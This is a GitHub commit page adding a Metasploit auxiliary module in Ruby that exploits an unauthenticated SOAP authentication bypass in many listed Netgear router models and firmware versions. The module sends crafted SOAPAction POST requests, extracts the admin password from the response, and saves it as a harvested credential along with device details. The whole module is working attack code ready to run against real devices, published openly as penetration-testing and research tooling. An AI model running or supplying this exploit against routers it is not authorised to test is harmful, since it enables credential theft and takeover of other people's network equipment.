Skip to content

Commit 305da46

Browse files
committed
Land rapid7#5301, @m-1-k-3's aux module to extract passwords from Netgear soap interfaces
2 parents 13e673c + 5e822a1 commit 305da46

File tree

1 file changed

+141
-0
lines changed

1 file changed

+141
-0
lines changed
Lines changed: 141 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,141 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Auxiliary::Report
12+
13+
def initialize
14+
super(
15+
'Name' => 'Netgear Unauthenticated SOAP Password Extractor',
16+
'Description' => %q{
17+
This module exploits an authentication bypass vulnerability in different Netgear devices.
18+
It allows to extract the password for the remote management interface. This module has been
19+
tested on a Netgear WNDR3700v4 - V1.0.1.42, but others devices are reported as vulnerable:
20+
NetGear WNDR3700v4 - V1.0.0.4SH, NetGear WNDR3700v4 - V1.0.1.52, NetGear WNR2200 - V1.0.1.88,
21+
NetGear WNR2500 - V1.0.0.24, NetGear WNDR3700v2 - V1.0.1.14 (Tested by Paula Thomas),
22+
NetGear WNDR3700v1 - V1.0.16.98 (Tested by Michal Bartoszkiewicz),
23+
NetGear WNDR3700v1 - V1.0.7.98 (Tested by Michal Bartoszkiewicz),
24+
NetGear WNDR4300 - V1.0.1.60 (Tested by Ronny Lindner),
25+
NetGear R6300v2 - V1.0.3.8 (Tested by Robert Mueller),
26+
NetGear WNDR3300 - V1.0.45 (Tested by Robert Mueller),
27+
NetGear WNDR3800 - V1.0.0.48 (Tested by an Anonymous contributor),
28+
NetGear WNR1000v2 - V1.0.1.1 (Tested by Jimi Sebree),
29+
NetGear WNR1000v2 - V1.1.2.58 (Tested by Chris Boulton)
30+
},
31+
'References' =>
32+
[
33+
[ 'BID', '72640' ],
34+
[ 'URL', 'https://github.com/darkarnium/secpub/tree/master/NetGear/SOAPWNDR' ]
35+
],
36+
'Author' =>
37+
[
38+
'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # Vulnerability discovery
39+
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
40+
],
41+
'License' => MSF_LICENSE
42+
)
43+
end
44+
45+
def run
46+
print_status("#{peer} - Trying to access the configuration of the device")
47+
48+
# extract device details
49+
action = 'urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo'
50+
print_status("#{peer} - Extracting Firmware version...")
51+
extract_data(action)
52+
53+
# extract credentials
54+
action = 'urn:NETGEAR-ROUTER:service:LANConfigSecurity:1#GetInfo'
55+
print_status("#{peer} - Extracting credentials...")
56+
extract_data(action)
57+
end
58+
59+
def extract_data(soap_action)
60+
begin
61+
res = send_request_cgi({
62+
'method' => 'POST',
63+
'uri' => '/',
64+
'headers' => {
65+
'SOAPAction' => soap_action,
66+
},
67+
'data' => '='
68+
})
69+
70+
return if res.nil?
71+
return if res.code == 404
72+
return if res.headers['Server'].nil?
73+
# unknown if other devices have other Server headers
74+
return if res.headers['Server'] !~ /Linux\/2.6.15 uhttpd\/1.0.0 soap\/1.0/
75+
76+
if res.body =~ /<NewPassword>(.*)<\/NewPassword>/
77+
print_status("#{peer} - Credentials found, extracting...")
78+
extract_credentials(res.body)
79+
end
80+
81+
if res.body =~ /<ModelName>(.*)<\/ModelName>/
82+
model_name = $1
83+
print_good("#{peer} - Model #{model_name} found")
84+
end
85+
86+
if res.body =~ /<Firmwareversion>(.*)<\/Firmwareversion>/
87+
firmware_version = $1
88+
print_good("#{peer} - Firmware version #{firmware_version} found")
89+
90+
#store all details as loot
91+
loot = store_loot('netgear_soap_device.config', 'text/plain', rhost, res.body)
92+
print_good("#{peer} - Device details downloaded to: #{loot}")
93+
end
94+
95+
rescue ::Rex::ConnectionError
96+
vprint_error("#{peer} - Failed to connect to the web server")
97+
return
98+
end
99+
end
100+
101+
def extract_credentials(body)
102+
body.each_line do |line|
103+
if line =~ /<NewPassword>(.*)<\/NewPassword>/
104+
pass = $1
105+
print_good("#{peer} - admin / #{pass} credentials found")
106+
107+
service_data = {
108+
address: rhost,
109+
port: rport,
110+
service_name: 'http',
111+
protocol: 'tcp',
112+
workspace_id: myworkspace_id
113+
}
114+
115+
credential_data = {
116+
module_fullname: self.fullname,
117+
origin_type: :service,
118+
private_data: pass,
119+
private_type: :password,
120+
username: 'admin'
121+
}
122+
123+
credential_data.merge!(service_data)
124+
125+
credential_core = create_credential(credential_data)
126+
127+
login_data = {
128+
core: credential_core,
129+
status: Metasploit::Model::Login::Status::UNTRIED
130+
}
131+
login_data.merge!(service_data)
132+
133+
create_credential_login(login_data)
134+
end
135+
end
136+
137+
# store all details as loot
138+
loot = store_loot('netgear_soap_account.config', 'text/plain', rhost, body)
139+
print_good("#{peer} - Account details downloaded to: #{loot}")
140+
end
141+
end

0 commit comments

Comments
 (0)